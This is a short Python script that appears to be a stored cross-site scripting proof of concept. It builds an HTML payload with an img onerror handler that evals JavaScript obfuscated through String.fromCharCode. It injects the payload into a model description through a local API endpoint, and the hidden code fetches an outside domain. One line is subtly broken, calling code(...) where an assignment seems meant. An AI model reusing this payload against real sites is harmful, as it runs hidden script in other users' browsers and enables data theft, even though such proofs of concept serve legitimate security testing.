payload ='''
<video src="{{VIDEO_2}}{{VIDEO_1}}';<img src=x onerror=eval(FUZZ)>" controls></video><video src="" controls>
</video><video src="video src=" controls></video>
'''

def enc(code):
    return '+'.join(["String.fromCharCode({})".format(ord(i)) for i in code])

code("fetch('https://mokrane.me/')")

json_data["meta"]["description"] = payload.replace('FUZZ', enc(code))

response = requests.post('http://localhost:3000/api/v1/models/add', cookies=cookies, headers=headers, json=json_data)

print(response.json())